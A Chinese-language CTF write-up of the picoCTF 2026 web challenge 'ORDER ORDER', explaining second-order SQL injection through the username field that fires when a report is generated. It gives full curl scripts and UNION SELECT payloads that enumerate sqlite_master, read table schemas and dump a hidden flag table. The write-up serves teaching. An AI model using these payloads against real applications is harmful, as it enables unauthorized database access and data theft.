picoCTF 2026 ORDER ORDER
這題是 picoCTF 2026 的 Web 題:ORDER ORDER。
題目描述很短:
Can you try to get the flag from our website. I've prepared my queries everywhere! I think!
一開始看到 prepared my queries everywhere,直覺會想到 SQL injection,可是這題真正值得學的地方不是「看到輸入框就打一個 ' OR 1=1--」,而是要理解:
有些 SQL injection 不是當下爆,而是被存起來,之後才爆。
這就是二階 SQL Injection。
題目資訊
- 題目:ORDER ORDER
- 分類:Web Exploitation
- 難度:Hard
- 平台:picoCTF 2026
- 題目連結:https://learn.cylabacademy.org/library/752
這篇會照實際解題流程寫,重點不是背最終 payload,而是紀錄中間每一步怎麼觀察、怎麼修正、怎麼確認自己的推論。
什麼是二階 SQL Injection
一般的一階 SQL Injection 是:
輸入 payload -> 後端立刻拿去查 SQL -> 當場看到結果或錯誤
例如登入框直接送:
' OR 1=1--
如果後端當下把它拼進 SQL,可能馬上登入成功或跳錯。
二階 SQL Injection 不太一樣:
第一階段:payload 被存進資料庫
第二階段:後面某個功能把這筆資料拿出來,再拼進 SQL
第三階段:漏洞才被觸發
所以 payload 長得可能跟普通 SQLi 很像,但是測法不同,你不能只看註冊當下有沒有爆,還要找後面哪個功能會再次使用這個資料,
這題的「儲存點」是 username。
這題的「觸發點」是 Generate Report。
Step 1:先做基本偵查
先設定目標:
BASE='http://crystal-peak.picoctf.net:51724'
抓首頁:
curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http
sed -n '1,220p' 00_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http
首頁可以看到:
<li><a href="/signup">Sign up</a></li>
<li><a href="/login">Login</a></li>
先註冊一個正常帳號,登入後再看有哪些功能:
USER="u$(date +%s)"
EMAIL="[email protected]"
PASS="Passw0rd!"
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" \
-o 02_signup_post.http
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" \
-o 03_login_post.http
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http
登入後看到:
<li><a href="/dashboard">Dashboard</a></li>
<li><a href="/expenses">Expenses</a></li>
<li><a href="/inbox">Inbox</a></li>
<li><a href="/logout">Logout</a></li>
接著看 /expenses:
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http
sed -n '1,260p' expenses.http
可以看到兩個表單:
<form method="POST" action="/expenses">
<input id="description" type="text" name="description" required>
<input id="amount" type="number" step="0.01" name="amount" required>
<input id="date" type="date" name="date" required>
</form>
<form method="POST" action="/generate_report">
<button type="submit">Generate Report</button>
</form>
這時候我們知道至少有兩條線可以測:
description / amount / date這些 expense 欄位username,因為報表一定要知道「目前使用者是誰」
Step 2:先產生一次正常報表
按一次 Generate Report:
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http
sleep 11
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http
grep -Eoi 'href="[^"]+"' 06_inbox.http
Inbox 裡會出現下載點:
/download_report/1
下載 CSV:
curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv
cat normal.csv
結果:
description,amount,date
這個輸出雖然看起來很空,但其實有一個重要資訊:
報表輸出是三欄:description, amount, date。
如果後面要用 UNION SELECT,我們也要湊出三欄。
Step 3:怎麼知道是 username 出問題
這是本題最關鍵的觀察。
我們不是一開始就知道 username 有二階注入,而是從資料流去猜:
報表要查目前登入者的 expense
後端可能用 username 或 user_id 當條件
如果它用 username 拼 SQL,就可能有事
所以先註冊一個 username 裡只有單引號的帳號:
C=quote_test.txt
USER="qt$(date +%s)'"
EMAIL="qt$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html
grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html
結果出現:
Report generation failed. Cause unrecognized token: "'qt1788089522''"
這行幾乎等於後端在跟我們說:
我產生報表時,把你的 username 拿去組 SQL 了
而且你的單引號把 SQL 弄壞了
如果後端是安全地用 user_id 查資料,或是正確使用 prepared statement,這個錯誤就不應該出現,所以這一步不是在拿 flag,而是在確認:
username 是儲存點,Generate Report 是觸發點。
Step 4:用 marker 證明我們可以控制輸出
接下來要從「可以讓 SQL 報錯」進到「可以控制 SQL 查詢結果」。
這時候我會放一個 marker,
marker 就是我們故意塞進去的標記,例如:
VULN
它不是 flag,也不是特殊指令,只是用來確認資料有沒有照我們的意思流出來。
payload:
mk123' UNION SELECT 'VULN',123,'2026-01-01'--
完整測試:
C=marker.txt
USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--"
EMAIL="mk$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o marker.csv
cat marker.csv
結果:
description,amount,date
VULN,123,2026-01-01
這個結果很重要。
它代表:
我們註冊時放進 username 的 SQL
真的在 Generate Report 時被執行
而且結果被寫進 CSV
如果把後端 SQL 想像成這樣:
SELECT description, amount, date
FROM expenses
WHERE username = '<USERNAME>';
那 username 塞入 payload 後,就會變成:
SELECT description, amount, date
FROM expenses
WHERE username = 'mk123'
UNION SELECT 'VULN',123,'2026-01-01'--';
這裡三個符號很關鍵:
':關閉原本的 username 字串UNION SELECT:把我們自己的查詢結果接到報表結果後面--:註解掉後端原本補上的尾巴
Step 5:從 CSV 欄位反推 UNION 欄位數
前面正常報表已經告訴我們:
description,amount,date
所以原本查詢大概是三欄:
SELECT description, amount, date
FROM expenses
...
UNION SELECT 的規則是:左右兩邊欄位數要一致。
所以我們的 payload 也要三欄:
UNION SELECT 'VULN',123,'2026-01-01'
這就是為什麼 marker 測試不是隨便寫:
第一欄:放文字 VULN,對應 description
第二欄:放數字 123,對應 amount
第三欄:放日期字串,對應 date
如果欄位數不對,通常會看到類似:
SELECTs to the left and right of UNION do not have the same number of result columns
但這題剛好 CSV 表頭已經把三欄提示得很清楚。
Step 6:確認資料庫類型,枚舉資料表
錯誤訊息中出現 unrecognized token,加上 Python/Werkzeug 題目常見組合,這裡很像 SQLite。
SQLite 的 schema 資訊可以從 sqlite_master 查:
C=tables_51724.txt
USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="tb$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv
cat tables_51724.csv
結果:
description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01
這裡可以先做一個判斷:
expenses:正常業務表inbox:正常業務表reports:正常業務表users:正常業務表sqlite_sequence:SQLite 自動遞增用的系統表aDNyM19uMF9mMTRn:很可疑
CTF 題目裡,這種亂碼表名通常不是裝飾,
不過先不要直接 dump,比較穩的做法是先看 schema。
Step 7:查 schema,確認欄位名稱
查所有 table 的 CREATE TABLE:
C=schema_51724.txt
USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="sc$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv
cat schema_51724.csv
可疑表的 schema:
CREATE TABLE aDNyM19uMF9mMTRn (
name TEXT PRIMARY KEY,
value TEXT NOT NULL
)
現在資訊很完整了:
可疑表:aDNyM19uMF9mMTRn
欄位:name, value
報表輸出欄位數:3
所以最後只要把 name 和 value 映射到報表的前兩欄,再補一個日期欄位即可。
Step 8:dump 可疑表
payload:
dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--
完整測試:
C=dump_51724.txt
USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--"
EMAIL="dp$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv
cat dump_51724.csv
結果:
description,amount,date
flag,picoCTF{Redacted},2026-01-01
Flag:
picoCTF{Redacted}
中間 SQL 是怎麼反推的
這不是憑空猜 payload,而是每一步都在問網站一個小問題:
你有幾欄?
你是不是 SQLite?
你有哪些 table?
你的可疑 table 有哪些欄位?
我要怎麼把那些欄位塞回 CSV?
這也是為什麼 marker 很重要,如果一開始就直接查 flag,雖然可能會成功,但學不到中間的判斷能力,marker 的作用是把「我覺得有洞」變成「我可以證明自己控制到 SQL 查詢結果」。
學習重點
這題我覺得最值得帶走的不是 SQLite 語法,而是這個思考方式:
找儲存點
找觸發點
用單引號確認 SQL 是否被污染
用 marker 確認輸出是否可控
用 schema 枚舉降低猜測
最後才查真正目標
以後看到這類功能時,可以特別注意:
- 註冊 username 後,哪裡會再次顯示或查詢 username?
- 商品名稱、訂單名稱、專案名稱、資料夾名稱是否會被後台報表重用?
- 匯出 CSV、PDF、Excel 時,是否會重新組 SQL?
- 管理後台搜尋、排序、報表、統計功能是否吃到使用者先前輸入的資料?
很多時候,真正有問題的不是輸入框本身,而是幾分鐘後、幾個頁面後、甚至另一個背景 worker 裡的那段查詢,這也是二階 SQL Injection 有趣的地方。
它不是一拳打在門上,而是先把東西放進系統裡,等系統自己拿出來用的時候,才發現那東西其實會改變查詢的意思。
Member discussion